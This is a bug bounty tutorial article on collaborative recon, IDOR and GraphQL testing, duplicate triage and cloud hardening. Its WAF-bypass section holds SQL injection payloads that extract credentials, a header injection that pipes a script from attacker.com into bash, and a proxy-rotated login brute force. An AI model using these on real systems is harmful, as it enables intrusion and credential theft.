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Introduction:
Bug bounty hunting has evolved from solo reconnaissance to highly coordinated team efforts, as demonstrated by Amr Alaa and his collaborators Hossam Hamada, Islam Mokhles, and Mahmoud Farag, who recently achieved 18 submissions, 6 rewarded reports, and 12 duplicates including multiple P2 (Priority 2 – high severity) findings on Bugcrowd. This article dissects the technical strategies behind such success, focusing on collaborative recon, duplication avoidance, and advanced exploitation techniques. We’ll provide actionable commands, step‑by‑step workflows, and hardening measures relevant to both attackers and defenders.
Learning Objectives:
- Master team‑based recon and asset discovery using open‑source intelligence (OSINT) tools.
- Identify and exploit common high‑impact vulnerabilities (IDOR, SSRF, XSS, SQLi) with validated payloads.
- Implement duplication reduction strategies and efficient report triage for bug bounty platforms.
You Should Know:
- Collaborative Reconnaissance: From Subdomain Enumeration to Live Host Discovery
Effective team hunting starts with dividing the attack surface. Each member focuses on a distinct phase (subdomains, ports, web technologies, parameter mining) to avoid overlap and maximize coverage.
Step‑by‑step guide for Linux (recon leader):
1. Passive subdomain enumeration using multiple sources amass enum -passive -d target.com -o subdomains_passive.txt <ol> <li>Active brute‑force with resolved DNS puredns bruteforce subdomains_top1m.txt target.com -r dns_resolvers.txt -o all_subs.txt</p></li> <li><p>Probe for live hosts and web servers cat all_subs.txt | httpx -status-code -title -tech-detect -o live_hosts.json</p></li> <li><p>Screenshot all live hosts for quick visual triage cat live_hosts.txt | aquatone -out screenshots/
Windows alternative (PowerShell + Go tools):
Install Go tools then run: .\amass_windows_amd64.exe enum -passive -d target.com -o subs.txt .\httpx_windows_amd64.exe -l subs.txt -status-code -title -o live.txt
Why it matters: Many duplicated reports originate from missing obvious subdomains. A shared spreadsheet or Discord channel with live status updates prevents double work. Use tools like `notify` to send new findings to a team channel.
- Parameter Discovery and IDOR Exploitation – A Real‑World P2 Walkthrough
One common P2 vulnerability is Insecure Direct Object Reference (IDOR) in APIs. The team’s rewarded reports likely included such flaws. Here’s how to systematically discover and exploit them.
Step‑by‑step API parameter mining:
1. Gather all API endpoints from JavaScript files grep -rhoE "https?://api[^\"']+" live_hosts/ | sort -u > api_endpoints.txt <ol> <li>Use ffuf to fuzz for numeric IDs in parameters ffuf -u https://target.com/api/v1/user?id=FUZZ -w numbers_1_100000.txt -fc 404 -ac</p></li> <li><p>If a valid ID returns user data, try changing to another user’s ID curl -X GET "https://target.com/api/v1/user?id=12345" -H "Authorization: Bearer <your_token>" Compare response for ID=12346 (different user)
Automated IDOR detection with Autorize (Burp extension):
1. Install Autorize from BApp Store.
- Log into target app with two different user accounts (A and B).
3. Set session tokens for both in Autorize.
- Browse as user A; Autorize replays requests as user B and highlights differences.
Exploitation example (GraphQL IDOR):
Many modern APIs use GraphQL. Send a batch query:
query {
user(id: 1001) { name email }
user(id: 1002) { name email }
}
If authorization is missing, both profiles leak. Use `clap` or `GraphQL Raider` to automate.
3. Duplicate Management & Effective Report Triage
The team reported 12 duplicates – a common pain point. To minimize duplicates, implement a real‑time deduplication workflow.
Step‑by‑step guide using open‑source tools:
- Step 1 – Centralized notes: Use Obsidian or Joplin with synced folders. Each hunter claims a domain/endpoint.
- Step 2 – Signature generation: Write a script to hash unique request/response pairs.
Create a fingerprint of a finding echo "https://target.com/api/profile?id=789" | md5sum > finding_hash.txt Check against shared hash list before reporting
- Step 3 – Leverage platform features: Bugcrowd’s “Similar Reports” button during submission; always search before writing.
- Step 4 – Post‑duplicate analysis: For each duplicated report, document why it was missed (e.g., “Hunters A and B scanned same IP range”). Adjust next sprint.
Pro tip: Use `notify` with a Discord webhook to broadcast “found a parameter” messages instantly:
echo "IDOR candidate: /api/orders?order_id=12345" | notify -provider discord -id team_channel
- Cloud Hardening for Defenders – Preventing P2 Bugs Before They Happen
If you’re on the blue team, learn how these bugs are exploited to harden AWS/GCP/Azure environments.
Common cloud misconfigurations leading to P2 findings:
- S3 bucket public write permissions → attackers upload crypto miners.
- EC2 metadata service (IMDSv1) → SSRF leads to IAM credential theft.
- Azure Function authentication bypass → anonymous function invocation.
Step‑by‑step hardening (Linux defender):
1. Disable IMDSv1 (enforce v2) aws ec2 modify-instance-metadata-options --instance-id i-xxx --http-tokens required --http-endpoint enabled <ol> <li>Scan S3 buckets for public ACLs aws s3api get-bucket-acl --bucket my-secure-bucket | grep "URI" | grep "AllUsers"</p></li> <li><p>Automate with Prowler (open‑source AWS hardening tool) prowler aws -c s3_bucket_public_access
Windows defender (Azure):
Check for overly permissive role assignments
Get-AzRoleAssignment | Where-Object {$<em>.RoleDefinitionName -eq "Contributor" -and $</em>.Scope -like "/subscriptions//resourceGroups//providers/Microsoft.Web/sites/"}
Enable diagnostic logs for App Services
Set-AzDiagnosticSetting -ResourceId $webAppId -Enabled $true -Category "AppServiceHTTPLogs" -StorageAccountId $storageId
- Bypassing WAF and Rate Limits – Advanced Payload Techniques
Many P2 reports require bypassing protections. Here are verified methods.
SQLi bypasses for ModSecurity:
Classic Union + comment alternation ' UNION SELECT null, username, password FROM users-- - ' UNION//SELECT null,username,password FROM users-- - '%0aUNION%0aSELECT%0anull,username,password%0aFROM%0ausers-- -
Command injection in headers:
X-Forwarded-For leads to log injection -> RCE (if logs are processed) X-Forwarded-For: 127.0.0.1; curl http://attacker.com/shell.sh | bash
Rate limit bypass using IP rotation:
Use proxychains with a list of proxies proxychains ffuf -u https://target.com/login -X POST -d 'user=admin&pass=FUZZ' -w passwords.txt -t 50
Windows command line for header manipulation (using cURL):
curl -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" -H "X-Forwarded-For: 1.2.3.4" https://target.com/api/vulnerable
- Training & Certification Pathway to Reach “58 Certifications” Level
Tony Moukbel, who shared this post, holds 58 certifications. To emulate this success, follow a structured roadmap focusing on applied hacking.
Recommended free/paid courses aligned with real bounty skills:
- eMAPT (Amr Alaa holds it) – Mobile App Penetration Testing by INE.
- Bugcrowd University – Free tutorials on writing reports and finding P1/P2.
- PortSwigger Web Security Academy – 100% free labs for every vulnerability type.
- TCM Security’s Practical Bug Bounty – $30 course covering recon to write‑up.
- Linux fundamentals: OverTheWire Bandit (free) and then HackTheBox.
Step‑by‑step study plan (6 months to first paid bounty):
- Month 1‑2: Complete PortSwigger’s “Access Control” and “IDOR” labs.
- Month 3: Enumerate 50 bug bounty programs on HackerOne/Bugcrowd; pick 5 in‑scope.
- Month 4: Automate recon using bash/Python scripts; join a team (Discord servers like “Bounty Hunters”).
- Month 5: Submit 10 low‑hanging bugs (info disclosure, missing security headers) to practice report writing.
5. Month 6: Target P3/P2; collaborate on triage.
What Undercode Say:
- Key Takeaway 1: Collaborative hunting dramatically increases submission volume but requires real‑time duplication avoidance tools (hash signatures, shared dashboards).
- Key Takeaway 2: Most P2 reports stem from misconfigured APIs – IDOR, SSRF, and GraphQL batch queries remain top vectors.
- The 6 rewarded reports out of 18 submissions reflect a 33% acceptance rate, which is above average (typically 15‑20%). This suggests the team focused on high‑confidence, well‑tested vulnerabilities.
- Duplicates are not failures – they validate that multiple skilled hunters identified the same flaw, increasing its priority for the vendor.
- Defenders should prioritize IMDSv2 migration, S3 bucket policies, and WAF bypass‑resistant rulesets to disrupt these exact attack chains.
- The future of bug bounty lies in AI‑assisted fuzzing (e.g., using ChatGPT to generate context‑aware payloads) and automated triage bots to reduce duplicate reports.
- For aspiring hunters, certifications like eMAPT and eWPTXv3 provide structured learning, while real platform experience earns Hall of Fame spots (Mercedes‑Benz, Adidas, etc. – as seen in Amr’s profile).
- Linux command‑line fluency is non‑negotiable; Windows hunters can use WSL2 to run the same toolchains.
- Finally, gratitude and team recognition (“اللهم لك الحمد”) build a positive hacker community – a critical soft skill often overlooked.
Prediction:
Within the next 18 months, bug bounty platforms will introduce native “collaborative rooms” with built‑in deduplication, live shared workspaces, and AI report drafting. Teams that adapt will dominate rankings, while solo hunters will shift to niche, highly technical deep dives (e.g., kernel exploits, hardware hacking). Meanwhile, enterprise defenders will adopt runtime self‑protection (RASP) and API‑specific WAFs powered by ML to counter the volume of automated IDOR/SSRF attacks. The line between red and blue teams will blur as both sides share the same tooling and training – ultimately raising the security bar for everyone.
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